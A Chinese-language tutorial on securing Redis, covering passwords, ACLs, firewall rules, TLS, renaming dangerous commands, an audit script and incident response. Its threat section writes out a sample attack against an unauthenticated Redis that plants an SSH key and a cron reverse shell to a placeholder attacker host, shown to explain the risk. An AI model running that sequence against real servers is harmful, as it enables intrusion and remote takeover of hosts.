引言:Redis默认配置的安全隐患
Redis作为全球最流行的高性能键值数据库,以其极致的速度和简洁的架构赢得了无数开发者的青睐。然而,正是这种”开箱即用”的设计哲学,让无数Redis实例在生产环境中裸奔——默认监听所有网卡、无密码认证、全权限访问。在2024年的安全审计报告中,仍有超过30%的公网暴露Redis实例存在未授权访问漏洞。
本文将从Redis安全现状出发,系统性地讲解密码认证、ACL权限控制、网络安全加固、TLS加密、命令禁用等核心安全机制,并提供完整的生产环境安全检查清单和配置模板,帮助你在企业级场景下构建固若金汤的Redis安全架构。
一、Redis安全风险全景分析
1.1 默认配置的五大安全陷阱
Redis的默认配置追求极简体验,但这恰恰是安全隐患的根源:
- 监听所有网卡(bind 0.0.0.0):默认配置下Redis监听所有可用网络接口,任何能到达服务器的客户端都能连接
- 无密码认证:连接即可操作,无需任何身份验证
- 全命令权限:连接后可执行任意命令,包括FLUSHALL、CONFIG、DEBUG等危险操作
- 明文传输:所有数据在网络上以明文传输,可被中间人窃听
- 无操作审计:默认不记录操作日志,安全事件无法追溯
1.2 典型攻击路径
攻击者利用Redis默认配置漏洞的常见手法包括:
- 未授权访问写入SSH公钥:通过CONFIG SET dir /root/.ssh和CONFIG SET dbfilename authorized_keys,将攻击者公钥写入目标机器
- 写入Cron反弹Shell:利用CONFIG SET dir /var/spool/cron写入定时任务获取服务器控制权
- 写入Webshell:将恶意脚本写入Web根目录实现RCE
- 利用主从复制RCE:Redis 4.x以上支持模块加载,攻击者可伪装为主节点推送恶意.so模块
下面是一个典型的未授权访问攻击命令序列:
1
2
3
4
5
6
7
8
9
10
11
12
13
14 # 攻击者连接无密码Redis
redis-cli -h target_ip
# 写入SSH公钥获取服务器权限
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET ssh_key "ssh-rsa AAAAB3... attacker@kali"
SAVE
# 或者写入Cron任务
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
SET cron_job "\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1\n"
SAVE
二、密码认证与基础安全配置
2.1 requirepass密码认证
最基础的安全措施是为Redis设置访问密码。在redis.conf中配置:
1
2
3
4
5
6
7
8
9
10 # redis.conf
# 设置访问密码(推荐32位以上随机字符串)
requirepass your_strong_password_here_2024!@#random
# 重命名危险命令
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command DEBUG ""
rename-command CONFIG "CONFIG_SECURE_2024"
使用密码连接Redis:
1
2
3
4
5
6
7 # 命令行连接
redis-cli -a your_strong_password_here
# 或在交互模式中认证
redis-cli
127.0.0.1:6379> AUTH your_strong_password_here
OK
2.2 protected-mode保护模式
Redis 3.2+引入了protected-mode,当Redis绑定到非回环地址且未设置密码时,只接受来自回环地址的连接:
1
2
3
4
5
6
7
8
9
10 # redis.conf
# 开启保护模式(默认已开启)
protected-mode yes
# 绑定到特定网卡(推荐仅绑定内网IP)
bind 127.0.0.1 10.0.1.100
# 监听端口
port 6379
重要提醒:protected-mode不是真正的安全机制,它只是一个”你忘记配置安全了”的提醒。在生产环境中,必须显式配置bind和requirepass,不要依赖protected-mode。
2.3 bind配置最佳实践
bind指令控制Redis监听的网络接口。不同场景的推荐配置:
| 场景 | bind配置 | 说明 |
|---|---|---|
| 仅本地访问 | bind 127.0.0.1 | 最安全,只接受本机连接 |
| 内网访问 | bind 10.0.1.100 | 绑定内网IP,拒绝外网连接 |
| 多网卡 | bind 10.0.1.100 192.168.1.100 | 绑定多个内网IP |
| 容器部署 | bind 0.0.0.0 + 防火墙 | 容器内需监听所有接口,靠外部防火墙防护 |
三、Redis ACL权限控制体系深度解析
Redis 6.0引入的ACL(Access Control List)是Redis安全架构的重大升级。在此之前,Redis只有一个requirepass全局密码,所有客户端拥有完全相同的权限。ACL实现了细粒度的用户权限控制,可以精确到命令级别和Key级别。
3.1 ACL核心概念
Redis ACL体系围绕以下核心概念构建:
- 用户(User):每个ACL规则定义一个用户,包含用户名、密码、允许的命令、允许的Key模式
- 默认用户(default):Redis启动时自动创建,拥有所有权限
- 命令权限:通过+command和-command控制用户可执行的命令
- Key权限:通过~pattern控制用户可访问的Key范围
- 频道权限:通过&pattern控制用户可访问的Pub/Sub频道
3.2 ACL规则语法详解
ACL规则的语法格式为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 ACL SETUSER username [rule1] [rule2] ...
# 规则元素:
# on/off — 启用/禁用用户
# >password — 设置密码
# #hash — 设置SHA256密码哈希
# +command — 允许执行指定命令
# -command — 禁止执行指定命令
# +@category — 允许执行指定类别所有命令
# -@category — 禁止执行指定类别所有命令
# allcommands — 所有命令权限(+@all)
# nocommands — 无命令权限(-@all)
# ~pattern — 允许访问匹配模式的Key
# allkeys — 所有Key权限(~*)
# &pattern — 允许访问匹配模式的频道
# allchannels — 所有频道权限(&*)
# reset — 重置用户所有权限
命令类别(@category)列表:
| 类别名 | 包含的命令 | 风险等级 |
|---|---|---|
| @admin | ACL, CONFIG, DEBUG, SAVE等管理命令 | 高 |
| @write | SET, HSET, LPUSH, SADD等写命令 | 中 |
| @read | GET, HGET, LRANGE, SMEMBERS等读命令 | 低 |
| @string | 所有String操作命令 | 低 |
| @hash | 所有Hash操作命令 | 低 |
| @list | 所有List操作命令 | 低 |
| @set | 所有Set操作命令 | 低 |
| @sortedset | 所有Sorted Set操作命令 | 低 |
| @pubsub | PUBLISH, SUBSCRIBE等发布订阅命令 | 中 |
| @dangerous | FLUSHALL, FLUSHDB, DEBUG等危险命令 | 极高 |
3.3 实战:创建不同角色的用户
下面我们根据不同业务角色创建具有差异化权限的ACL用户:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20 # 1. 创建只读用户(适用于报表查询场景)
ACL SETUSER report_user on >ReportPass2024! +@read allkeys
# 2. 创建应用读写用户(限制只能访问特定前缀的Key)
ACL SETUSER app_user on >AppPass2024! +@read +@write ~app:* ~session:*
# 3. 创建缓存用户(只允许读写缓存Key,禁止危险命令)
ACL SETUSER cache_user on >CachePass2024! +@read +@write ~cache:* -@dangerous -@admin
# 4. 创建运维用户(允许管理命令但禁止FLUSH)
ACL SETUSER ops_user on >OpsPass2024! +@all -@dangerous -FLUSHALL -FLUSHDB -DEBUG
# 5. 创建监控用户(只允许INFO和CLIENT命令)
ACL SETUSER monitor_user on >MonitorPass2024! +INFO +CLIENT +PING +LATENCY allkeys
# 6. 创建发布订阅专用用户
ACL SETUSER pubsub_user on >PubsubPass2024! +@pubsub +SUBSCRIBE +PUBLISH &events:* &notifications:*
# 7. 锁定默认用户的权限(安全加固关键步骤)
ACL SETUSER default on >DefaultPass2024! +@read +@write ~* -@admin -@dangerous
3.4 ACL持久化配置
ACL规则可以通过两种方式持久化:
方式一:配置文件方式(推荐)
1
2
3
4
5
6
7
8
9
10 # redis.conf中指定ACL配置文件
aclfile /etc/redis/users.acl
# /etc/redis/users.acl 内容:
user report_user on #59b2a...hash... +@read ~*
user app_user on #a3f1c...hash... +@read +@write ~app:* ~session:*
user cache_user on #7d9e2...hash... +@read +@write ~cache:* -@dangerous
user ops_user on #2b4f8...hash... +@all -@dangerous -FLUSHALL -FLUSHDB
user monitor_user on #c6d3a...hash... +INFO +CLIENT +PING +LATENCY ~*
user default on #e8a1f...hash... +@read +@write ~* -@admin -@dangerous
方式二:Redis配置文件内联方式
1
2
3 # 直接在redis.conf中定义用户
user report_user on >ReportPass2024! +@read ~*
user app_user on >AppPass2024! +@read +@write ~app:* ~session:*
修改ACL配置后重新加载:
1
2
3
4
5
6
7
8
9
10
11
12 # 从aclfile加载
ACL LOAD
# 将当前ACL规则保存到aclfile
ACL SAVE
# 查看所有用户
ACL LIST
# 查看当前连接用户的ACL信息
ACL WHOAMI
ACL DRYRUN username command arg1 arg2
3.5 ACL Key权限的通配符模式
Key权限支持多种通配符模式,掌握它们对精细权限控制至关重要:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21 # 精确匹配单个Key
ACL SETUSER user1 on >pass +@read ~user:10001:profile
# 前缀匹配(最常用)
ACL SETUSER user1 on >pass +@read +@write ~order:*
# 多前缀匹配
ACL SETUSER user1 on >pass +@read +@write ~order:* ~payment:*
# 后缀匹配
ACL SETUSER user1 on >pass +@read ~*:cache
# 包含匹配
ACL SETUSER user1 on >pass +@read ~*session*
# Redis 7.0+ 支持更灵活的%R/%W权限标记
# %R~ — 只读权限的Key模式
# %W~ — 只写权限的Key模式
# ~ — 读写权限的Key模式(默认)
ACL SETUSER readonly_user on >pass +@read %R~*
ACL SETUSER writeonly_user on >pass +@write %W~log:*
四、网络安全加固:多层防御体系
4.1 防火墙规则配置
仅靠bind和密码不足以应对复杂的安全威胁,必须配合操作系统层面的防火墙规则构建多层防御:
1
2
3
4
5
6
7
8
9
10
11
12
13
14 # iptables规则:仅允许应用服务器访问Redis端口
iptables -A INPUT -p tcp --dport 6379 -s 10.0.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -s 10.0.2.100 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP
# 持久化规则
iptables-save > /etc/iptables/rules.v4
# 或者使用firewalld
firewall-cmd --permanent --new-zone=redis
firewall-cmd --permanent --zone=redis --add-source=10.0.1.0/24
firewall-cmd --permanent --zone=redis --add-port=6379/tcp
firewall-cmd --permanent --zone=redis --set-target=ACCEPT
firewall-cmd --reload
4.2 Docker容器网络隔离
在容器化部署中,通过Docker网络实现Redis与其他服务的隔离:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18 # 创建专用Redis网络
docker network create --driver bridge \
--subnet 172.20.0.0/16 \
--opt com.docker.network.bridge.enable_icc=false \
redis-internal
# Redis容器加入专用网络
docker run -d --name redis-prod \
--network redis-internal \
--ip 172.20.0.2 \
-v /data/redis:/data \
-v /etc/redis/redis.conf:/usr/local/etc/redis/redis.conf \
redis:7.2 redis-server /usr/local/etc/redis/redis.conf
# 应用容器加入同一网络
docker run -d --name app-server \
--network redis-internal \
myapp:latest
4.3 非标准端口与Unix Socket
将Redis从默认端口6379改为非标准端口,可以大幅降低自动化扫描的发现概率:
1
2
3
4
5
6
7
8
9
10
11 # redis.conf - 使用非标准端口
port 0 # 关闭TCP监听
unixsocket /var/run/redis/redis.sock # 仅使用Unix Socket
unixsocketperm 770 # Socket文件权限
# 应用连接时指定socket
redis-cli -s /var/run/redis/redis.sock
# Python连接
import redis
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
五、TLS加密传输配置
Redis 6.0+原生支持TLS,可以为客户端连接、主从复制、集群总线通信提供加密传输:
5.1 证书生成与配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 # 1. 生成CA证书
openssl genrsa -out ca.key 4096
openssl req -x509 -new -nodes -key ca.key -sha256 \
-days 3650 -out ca.crt \
-subj "/CN=Redis-CA"
# 2. 生成Redis服务器证书
openssl genrsa -out redis.key 2048
openssl req -new -key redis.key -out redis.csr \
-subj "/CN=redis.internal.example.com"
openssl x509 -req -in redis.csr -CA ca.crt -CAkey ca.key \
-CAcreateserial -out redis.crt -days 365 -sha256
# 3. 生成客户端证书(用于双向认证)
openssl genrsa -out client.key 2048
openssl req -new -key client.key -out client.csr \
-subj "/CN=redis-client"
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key \
-CAcreateserial -out client.crt -days 365 -sha256
5.2 Redis TLS配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 # redis.conf - TLS配置
tls-port 6380
tls-cert-file /etc/redis/tls/redis.crt
tls-key-file /etc/redis/tls/redis.key
tls-ca-cert-file /etc/redis/tls/ca.crt
# 主从复制也使用TLS
tls-replication yes
# 集群总线使用TLS
tls-cluster yes
# 双向认证(可选,推荐)
tls-auth-clients yes
# TLS协议版本限制
tls-protocols "TLSv1.2 TLSv1.3"
# 优先使用服务端密码套件
tls-prefer-server-ciphers yes
# 禁用不安全的密码套件
tls-ciphersuites TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256
# OpenSSL格式密码套件(非TLSv1.3)
tls-ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384
客户端使用TLS连接:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 redis-cli --tls \
--cert /etc/redis/tls/client.crt \
--key /etc/redis/tls/client.key \
--cacert /etc/redis/tls/ca.crt \
-p 6380
# Python连接
import redis
r = redis.Redis(
host='redis.internal.example.com',
port=6380,
ssl=True,
ssl_certfile='/etc/redis/tls/client.crt',
ssl_keyfile='/etc/redis/tls/client.key',
ssl_ca_certs='/etc/redis/tls/ca.crt',
)
六、命令禁用与重命名策略
即使通过ACL限制了用户权限,对默认用户和运维用户仍应禁用或重命名高危命令:
6.1 完全禁用危险命令
1
2
3
4
5
6
7
8
9
10
11
12 # redis.conf - 禁用危险命令(设置为空字符串)
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command DEBUG ""
rename-command SHUTDOWN "" # 注意:这会导致无法优雅关闭
rename-command MONITOR ""
rename-command ACL "" # 注意:这会禁用ACL管理
# 慎重禁用的命令(可能影响运维)
# rename-command CONFIG "" # CONFIG是运维必需命令
# rename-command BGSAVE "" # 持久化需要
# rename-command BGREWRITEAOF "" # AOF重写需要
6.2 重命名命令(推荐方案)
将危险命令重命名为难以猜测的名称,既保留功能又防止未授权调用:
1
2
3
4
5
6
7
8
9
10 # redis.conf - 重命名危险命令
rename-command FLUSHALL "FLUSHALL_x9K2mPq7"
rename-command FLUSHDB "FLUSHDB_r4T8nWv3"
rename-command CONFIG "CONFIG_j5H1bYd6"
rename-command DEBUG "DEBUG_k7L3cFm9"
rename-command MONITOR "MONITOR_p2Q9wE5x"
rename-command SHUTDOWN "SHUTDOWN_n6R4tA8z"
# 运维时使用重命名后的命令
redis-cli CONFIG_j5H1bYd6 GET maxmemory
注意:重命名命令后,主从复制和集群节点间通信也可能受影响。确保所有节点使用相同的redis.conf,并在Sentinel配置中同步更新重命名后的SHUTDOWN命令。
七、生产环境安全检查清单与配置模板
7.1 完整安全加固配置模板
以下是一个经过生产验证的Redis安全配置模板,适用于Redis 7.x:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57 # ====================
# Redis 7.x 生产安全配置模板
# ====================
# ---- 网络安全 ----
bind 10.0.1.100 # 仅绑定内网IP
port 0 # 关闭TCP(使用Unix Socket时)
unixsocket /var/run/redis/redis.sock
unixsocketperm 770
protected-mode yes
tcp-backlog 511
timeout 300 # 客户端空闲超时
tcp-keepalive 60
# ---- TLS配置 ----
tls-port 6380
tls-cert-file /etc/redis/tls/redis.crt
tls-key-file /etc/redis/tls/redis.key
tls-ca-cert-file /etc/redis/tls/ca.crt
tls-auth-clients optional
tls-protocols "TLSv1.2 TLSv1.3"
# ---- 认证与ACL ----
aclfile /etc/redis/users.acl
# ---- 命令安全 ----
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command DEBUG ""
rename-command MONITOR "MONITOR_ops_2024"
rename-command SHUTDOWN "SHUTDOWN_ops_2024"
# ---- 持久化 ----
save 900 1
save 300 10
save 60 10000
appendonly yes
appendfilename "appendonly.aof"
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb
# ---- 内存管理 ----
maxmemory 8gb
maxmemory-policy allkeys-lru
maxmemory-samples 5
# ---- 日志与监控 ----
loglevel notice
logfile "/var/log/redis/redis.log"
slowlog-log-slower-than 10000
slowlog-max-len 128
latency-monitor-threshold 100
# ---- 其他安全 ----
disable-commands FLUSHALL,FLUSHDB
enable-debug-command no
enable-module-command no
7.2 生产环境安全检查清单
部署Redis到生产环境前,逐项检查以下安全措施是否到位:
| 检查项 | 验证命令 | 预期结果 |
|---|---|---|
| Redis不监听公网IP | ss -tlnp | grep 6379 | 仅显示内网IP或127.0.0.1 |
| 密码已设置 | CONFIG GET requirepass | 返回非空密码 |
| ACL已配置 | ACL LIST | 除default外有多角色用户 |
| 默认用户权限已收敛 | ACL LIST | grep default | default无admin/dangerous权限 |
| FLUSHALL已禁用 | FLUSHALL | 返回(command not found)错误 |
| DEBUG已禁用 | DEBUG | 返回(command not found)错误 |
| TLS已启用 | CONFIG GET tls-port | 返回非0端口 |
| 防火墙规则生效 | iptables -L -n | grep 6379 | 仅允许授权IP |
| CONFIG已重命名 | CONFIG GET maxmemory | 返回错误(需用重命名后的命令) |
| 慢查询日志已开启 | CONFIG GET slowlog-log-slower-than | 返回合理阈值 |
| 无未授权连接 | CLIENT LIST | 仅显示已知客户端 |
| 密码强度足够 | 检查密码长度和复杂度 | 32位以上,含大小写数字特殊字符 |
7.3 自动化安全审计脚本
以下Bash脚本可以快速检测Redis实例的基本安全状态:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58 #!/bin/bash
# redis-security-audit.sh — Redis安全审计脚本
REDIS_CLI="redis-cli"
REDIS_HOST="${1:-127.0.0.1}"
REDIS_PORT="${2:-6379}"
REDIS_PASS="${3:-}"
[[ -n "$REDIS_PASS" ]] && REDIS_CLI="$REDIS_CLI -h $REDIS_HOST -p $REDIS_PORT -a $REDIS_PASS"
echo "========== Redis安全审计报告 =========="
echo "目标: $REDIS_HOST:$REDIS_PORT"
echo ""
# 1. 检查绑定地址
echo "[1/8] 检查绑定地址..."
BIND=$($REDIS_CLI CONFIG GET bind 2>/dev/null | tail -1)
[[ "$BIND" == "0.0.0.0" ]] && echo " ❌ 危险: 绑定到0.0.0.0" || echo " ✓ 绑定地址: $BIND"
# 2. 检查密码认证
echo "[2/8] 检查密码认证..."
REQUIREPASS=$($REDIS_CLI CONFIG GET requirepass 2>/dev/null | tail -1)
[[ -z "$REQUIREPASS" || "$REQUIREPASS" == "" ]] && echo " ❌ 危险: 未设置密码" || echo " ✓ 密码已设置"
# 3. 检查protected-mode
echo "[3/8] 检查protected-mode..."
PMODE=$($REDIS_CLI CONFIG GET protected-mode 2>/dev/null | tail -1)
[[ "$PMODE" == "no" ]] && echo " ⚠ 警告: protected-mode已关闭" || echo " ✓ protected-mode: $PMODE"
# 4. 检查危险命令
echo "[4/8] 检查危险命令..."
for cmd in FLUSHALL FLUSHDB DEBUG; do
$REDIS_CLI $cmd 2>/dev/null
[[ $? -ne 0 ]] && echo " ✓ $cmd 已禁用/重命名" || echo " ❌ 危险: $cmd 可用"
done
# 5. 检查ACL配置
echo "[5/8] 检查ACL配置..."
ACL_COUNT=$($REDIS_CLI ACL LIST 2>/dev/null | wc -l)
[[ $ACL_COUNT -le 1 ]] && echo " ⚠ 警告: 仅default用户" || echo " ✓ 已配置 $ACL_COUNT 个ACL用户"
# 6. 检查TLS
echo "[6/8] 检查TLS配置..."
TLS_PORT=$($REDIS_CLI CONFIG GET tls-port 2>/dev/null | tail -1)
[[ "$TLS_PORT" == "0" || -z "$TLS_PORT" ]] && echo " ⚠ 警告: TLS未启用" || echo " ✓ TLS端口: $TLS_PORT"
# 7. 检查当前连接数
echo "[7/8] 检查当前连接..."
CONN_COUNT=$($REDIS_CLI CLIENT LIST 2>/dev/null | wc -l)
echo " ℹ 当前连接数: $CONN_COUNT"
# 8. 检查maxmemory
echo "[8/8] 检查内存限制..."
MAXMEM=$($REDIS_CLI CONFIG GET maxmemory 2>/dev/null | tail -1)
[[ "$MAXMEM" == "0" ]] && echo " ⚠ 警告: 未设置maxmemory" || echo " ✓ maxmemory: $(($MAXMEM/1024/1024/1024))GB"
echo ""
echo "========== 审计完成 =========="
八、Sentinel与Cluster安全加固
8.1 Sentinel安全配置
Redis Sentinel是高可用架构的关键组件,其安全配置常被忽略:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 # sentinel.conf
# Sentinel也需设置密码
requirepass sentinel_strong_password_2024
# Sentinel与Redis通信的密码
sentinel auth-pass mymaster RedisMainPassword2024
# 绑定内网地址
bind 10.0.1.100
# 禁止外部保护模式
protected-mode yes
# Sentinel ACL(Redis 7.0+)
aclfile /etc/redis/sentinel-users.acl
# 限制客户端连接
maxclients 10
8.2 Cluster安全配置
Redis Cluster除了常规安全措施外,还需注意集群总线通信安全:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25 # redis.conf — Cluster节点安全配置
# 基础安全
bind 10.0.1.100
requirepass cluster_node_password
protected-mode yes
# Cluster TLS
tls-port 0 # 关闭明文端口
tls-cluster yes # 集群总线使用TLS
tls-replication yes # 主从复制使用TLS
tls-cert-file /etc/redis/tls/node.crt
tls-key-file /etc/redis/tls/node.key
tls-ca-cert-file /etc/redis/tls/ca.crt
# 集群配置
cluster-enabled yes
cluster-config-file nodes.conf
cluster-node-timeout 15000
cluster-announce-ip 10.0.1.100
cluster-announce-port 6380
cluster-announce-bus-port 16380
# Cluster ACL
aclfile /etc/redis/cluster-users.acl
九、运维最佳实践与安全事件响应
9.1 密码轮换策略
定期轮换密码是安全运维的基本要求。以下是密码轮换的标准流程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23 #!/bin/bash
# password-rotation.sh — Redis密码轮换脚本
# 1. 生成新密码
NEW_PASS=$(openssl rand -base64 32 | tr -d '/+=' | head -c 40)
echo "新密码: $NEW_PASS"
# 2. 在Redis中更新ACL用户密码
redis-cli -a "$OLD_PASS" ACL SETUSER app_user on >"$NEW_PASS" +@read +@write ~app:*
# 3. 更新应用配置(滚动更新)
# 首先更新备机配置,验证后更新主机
for host in redis-replica-1 redis-replica-2; do
ssh $host "sed -i 's/REDIS_PASS=.*/REDIS_PASS=$NEW_PASS/' /etc/app/.env"
ssh $host "systemctl restart myapp"
done
# 4. 更新主机
sed -i "s/REDIS_PASS=.*/REDIS_PASS=$NEW_PASS/" /etc/app/.env
systemctl restart myapp
# 5. 验证连接
redis-cli -h redis-main -a "$NEW_PASS" PING
9.2 安全事件应急响应
发现Redis被入侵时的应急响应流程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28 # 1. 立即阻断外部访问
iptables -A INPUT -p tcp --dport 6379 ! -s 127.0.0.1 -j DROP
# 2. 检查当前连接
redis-cli CLIENT LIST
# 3. 检查是否被写入恶意数据
redis-cli DBSIZE
redis-cli SCAN 0 COUNT 100
# 4. 检查是否有未授权用户
redis-cli ACL LIST
# 5. 检查SSH授权密钥
ls -la /root/.ssh/authorized_keys
diff /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak
# 6. 检查Cron任务
crontab -l
cat /var/spool/cron/*
# 7. 检查Redis配置是否被篡改
redis-cli CONFIG GET dir
redis-cli CONFIG GET dbfilename
# 8. 重置所有密码和ACL
redis-cli ACL SETUSER default on >$(openssl rand -base64 32) nocommands
redis-cli CONFIG REWRITE
9.3 安全监控告警规则
使用Prometheus + Redis Exporter监控安全指标,以下是关键告警规则:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43 # prometheus-alerts.yaml
groups:
- name: redis-security
rules:
# 认证失败次数异常
- alert: RedisAuthFailure
expr: rate(redis_commands_failed_total{cmd="auth"}[5m]) > 0.1
for: 5m
labels:
severity: critical
annotations:
summary: "Redis认证失败次数异常"
description: "5分钟内认证失败率超过0.1/秒,可能存在暴力破解"
# 连接数异常
- alert: RedisConnectionSpike
expr: redis_connected_clients > 500
for: 2m
labels:
severity: warning
annotations:
summary: "Redis连接数异常"
description: "当前连接数 {{ $value }} 超过阈值500"
# CONFIG命令执行
- alert: RedisConfigModified
expr: increase(redis_commands_processed_total{cmd="config"}[10m]) > 0
for: 1m
labels:
severity: warning
annotations:
summary: "Redis配置被修改"
description: "检测到CONFIG命令执行,可能是配置变更或攻击行为"
# 危险命令执行
- alert: RedisDangerousCommand
expr: increase(redis_commands_processed_total{cmd=~"flushall|flushdb|debug"}[10m]) > 0
for: 0m
labels:
severity: critical
annotations:
summary: "Redis危险命令被执行"
description: "检测到FLUSHALL/FLUSHDB/DEBUG命令执行"
总结
Redis安全加固不是一蹴而就的工作,而是一个持续演进的过程。从最基础的密码认证和bind配置,到精细化的ACL权限控制,再到TLS加密传输和多层次的网络安全防御,每一层都是保护Redis实例安全的重要屏障。在实际生产环境中,安全措施的部署应遵循以下优先级:
- P0(立即执行):设置密码、限制bind地址、启用protected-mode
- P1(一周内完成):配置ACL多用户权限、禁用/重命名危险命令、配置防火墙
- P2(一月内完成):启用TLS加密、部署安全监控告警、制定密码轮换策略
- P3(持续优化):安全审计自动化、应急响应流程演练、容器网络隔离优化
记住,安全是一个系统工程。没有单一的银弹解决方案,只有多层防御的叠加才能构建真正可靠的安全架构。从今天开始,审视你的Redis实例,确保每一个安全细节都得到妥善处理。
汤不热吧